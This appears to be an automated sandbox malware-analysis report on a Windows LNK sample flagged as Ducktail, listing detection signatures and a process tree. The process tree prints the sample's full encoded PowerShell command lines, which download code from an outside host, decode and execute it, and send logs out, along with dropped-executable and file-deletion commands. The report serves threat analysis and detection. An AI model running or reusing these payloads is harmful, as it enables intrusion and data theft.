Edit tour

Windows Analysis Report
WXahq3ZEss.lnk

Overview

General Information

Sample name:	WXahq3ZEss.lnk
Analysis ID:	1573010
MD5:	ca5668f76f254af98548c968795c0b8f
SHA1:	c38b299d3f58e921c86ce834cd18d698d3b46ac2
SHA256:	4a776d8329fb48e54bc6a70c8bf755ecce64c3431597d8e2f0f6404f445164db
Infos:

Detection

Ducktail

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

Yara detected Ducktail

Yara detected Powershell download and execute

Allows multiple concurrent remote connection

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies security policies related information

Potential dropper URLs found in powershell memory

PowerShell case anomaly found

Powershell drops PE file

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Reads the Security eventlog

Reads the System eventlog

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: PowerShell Base64 Encoded WMI Classes

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious New Service Creation

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Uses regedit.exe to modify the Windows registry

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates or modifies windows services

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file contains strange resources

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64native

cmd.exe (PID: 3504 cmdline: "C:\Windows\system32\cmd.exe" /v /k "pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARwA0AEEAVgBBAEIARgBBAEcANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="" && exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 1040 cmdline: pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARwA0AEEAVgBBAEIARgBBAEcANABBAGQAQQBBAHAAQQBDAGsAQQAiAA==" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4588 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

csc.exe (PID: 8364 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 8384 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6B00.tmp" "c:\Users\user\AppData\Local\Temp\n4r2ytua\CSCE2E75555A6E54FAF964F39C1B149FD24.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 8516 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

WINWORD.EXE (PID: 8784 cmdline: "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o "" MD5: E7F3B8EA1B06F46176FC5C35307727D6)

cmd.exe (PID: 8768 cmdline: "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA0ADQAMgBkADYAZAAyAGIAYgBiAGYAOQA1AGEAMABjADIAZAA5ADgAMwAzADUAYwA3AGMAZgAxADIAZAA5AGQANABhADIAMQA2ADMAYgBmAGQAMwAzAGYANAAyADUANAA3AGQAOABlADIAMQA3ADYAMwA0ADkAZgBjADUAYgBlAGMAOQA5ADkAZABmADcANwBlAGQANgBmAGMAMQAwAGMAZAAyAGIAOABmADEAYgBmADYAZQAxADQAMQA5AGEAZgBkADEAYgA4AGUANgA1ADIAZAA2ADAAOAAyADAAYQA1ADYAZgA1AGQAOAA3ADIAYgA5ADgAMwAyAGQANQA4AGMAZgBlADYANQAzADQAOABiAGQAYgA2ADEANgBkAGIAMgAzAGUANAAzAGYANwA5ADcAMgBkAGEAZgAzADkAMQBmADEAMwBiAGQANgBhADYAOQBjADgAOQAxADkAMAAyADgAMAA3AGEAYQBkADQAMgAzADYAMgA3ADgAMQAxAGMAOABlADAAZAA0AGEAYQA3AGUAZQA5ADMAOQBkADcANAA1ADIAMAAxAGUAZQBkADgAMAA2AGUAZQA5ADcAOQBmAGEAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA== MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 8856 cmdline: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA0ADQAMgBkADYAZAAyAGIAYgBiAGYAOQA1AGEAMABjADIAZAA5ADgAMwAzADUAYwA3AGMAZgAxADIAZAA5AGQANABhADIAMQA2ADMAYgBmAGQAMwAzAGYANAAyADUANAA3AGQAOABlADIAMQA3ADYAMwA0ADkAZgBjADUAYgBlAGMAOQA5ADkAZABmADcANwBlAGQANgBmAGMAMQAwAGMAZAAyAGIAOABmADEAYgBmADYAZQAxADQAMQA5AGEAZgBkADEAYgA4AGUANgA1ADIAZAA2ADAAOAAyADAAYQA1ADYAZgA1AGQAOAA3ADIAYgA5ADgAMwAyAGQANQA4AGMAZgBlADYANQAzADQAOABiAGQAYgA2ADEANgBkAGIAMgAzAGUANAAzAGYANwA5ADcAMgBkAGEAZgAzADkAMQBmADEAMwBiAGQANgBhADYAOQBjADgAOQAxADkAMAAyADgAMAA3AGEAYQBkADQAMgAzADYAMgA3ADgAMQAxAGMAOABlADAAZAA0AGEAYQA3AGUAZQA5ADMAOQBkADcANAA1ADIAMAAxAGUAZQBkADgAMAA2AGUAZQA5ADcAOQBmAGEAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sppsvc.exe (PID: 8724 cmdline: C:\Windows\system32\sppsvc.exe MD5: 30C7EF47B57367CC546173BB4BB2BB04)

svchost.exe (PID: 4520 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: F586835082F632DC8D9404D83BC16316)

svczHost.exe (PID: 3548 cmdline: C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de MD5: 9298A0077E8353244A38CAEFE43AF4CB)

conhost.exe (PID: 8844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 8592 cmdline: "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 8676 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 8376 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

powershell.exe (PID: 8736 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbw